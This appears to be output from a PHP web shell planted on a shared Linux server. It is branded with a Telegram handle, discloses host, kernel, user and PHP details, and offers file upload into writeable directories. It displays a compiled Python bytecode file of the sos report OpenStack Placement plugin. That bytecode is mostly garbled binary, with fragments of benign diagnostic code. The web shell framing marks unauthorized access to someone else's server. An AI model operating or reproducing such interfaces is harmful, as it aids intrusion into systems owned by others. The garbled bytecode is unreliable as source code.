https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/sos/report/plugins/__pycache__/openstack_placement.cpython-310.pyc
o

-�_g�@sZddlZddlmZmZmZmZGdd�de�ZGdd�deee�ZGdd�dee�ZdS)	�N)�Plugin�RedHatPlugin�DebianPlugin�UbuntuPluginc@s@eZdZdZdZdZdZdZdZdZ	dd	�Z
d
d�Zdd
�ZdS)�OpenStackPlacementzOpenStack Placement�openstack_placement)�	openstack�openstack_controller)�.*placement_apiz//var/lib/config-data/puppet-generated/placementzopenstack-placement-apiNc		s\|�d�}|�|j�s
|rpd}|rd|jd}|jd|ddd�d	d
�dD�}dd
�d
D�}t|�r9t|�s@|j�d�n0|�	d�}|ddkrp|d}|�
�dd�D]}|��d�gd�}|��fdd
�|D��qW|�d�r�|�
dddd|j�d�g�n|�
ddd d|j�d!�g�|�
d|jd|jd"|jd#|jd$|jd%g�dS)&Nr
�z
--config-dir z/etc/placement/zplacement-manage z db versionzplacement-manage_db_version)�suggest_filenamecS�g|]}|tjv�qS���os�environ��.0�prr�H/usr/lib/python3/dist-packages/sos/report/plugins/openstack_placement.py�
<listcomp>,�z,OpenStackPlacement.setup.<locals>.<listcomp>)�OS_USERNAME�OS_PASSWORDcSr
rrrrrrr/r)�OS_TENANT_NAME�OS_PROJECT_NAMEz}Not all environment variables set. Source the environment file for the user intended to connect to the OpenStack environment.z openstack resource provider list�statusr�output�����)�	inventory�trait�	aggregatecsg|]
}d|�d����qS)zopenstack resource provider z list r)r�sub_cmd��res_providerrrrEs����all_logsz/var/log/placement/z/var/log/containers/placement/z(/var/log/containers/httpd/placement-api/z	/var/log/z*/placement*z/var/log/placement/*.logz#/var/log/containers/placement/*.logz,/var/log/containers/httpd/placement-api/*logz*/placement*.logz/etc/my.cnf.d/tripleo.cnfz/etc/httpd/conf/z/etc/httpd/conf.d/z /etc/httpd/conf.modules.d/*.conf)�container_exists�is_service_running�service_name�var_puppet_gen�add_cmd_output�all�any�soslog�warning�collect_cmd_output�
splitlines�split�
get_option�
add_copy_spec�	apachepkg)	�self�in_container�placement_config�vars_all�vars_any�res�resource_provider_list�provider�sub_cmdsrr%r�setups^
�
��
�
��
�zOpenStackPlacement.setupcCs&|�d||�|�|jd||�dS)z Apply regex substitution z/etc/placement/*N)�do_path_regex_subr+)r7�regexp�substrrr�apply_regex_subcs
�z"OpenStackPlacement.apply_regex_subcCsLgd�}gd�}d�|�}|�dd�|��d�d�|�d|�d�d�dS)	N)�password�memcache_secret_key�
NOVA_API_PASS�PLACEMENT_PASS)�database_connection�slave_connection�
connection�|z(^\s*(z
)\s*=\s*)(.*)z\1*********z!)\s*=\s*(.*)://(\w*):)(.*)(@(.*))z
\1*********\6)�joinrD)r7�protect_keys�connection_keys�
join_con_keysrrr�postprocks
�
�zOpenStackPlacement.postproc)
�__name__�
__module__�__qualname__�
short_desc�plugin_name�profiles�
containersr+r*r6r@rDrQrrrrrsIrc@�eZdZdZdZdS)�DebianPlacement�apache2)zplacement-commonz
placement-apizpython3-placementN�rRrSrTr6�packagesrrrrrZ��rZc@rY)�RedHatPlacement�httpd)zopenstack-selinuxNr\rrrrr_�r^r_)	r�sos.report.pluginsrrrrrrZr_rrrr�<module>s

u

https://t.me/RX1948 - 2025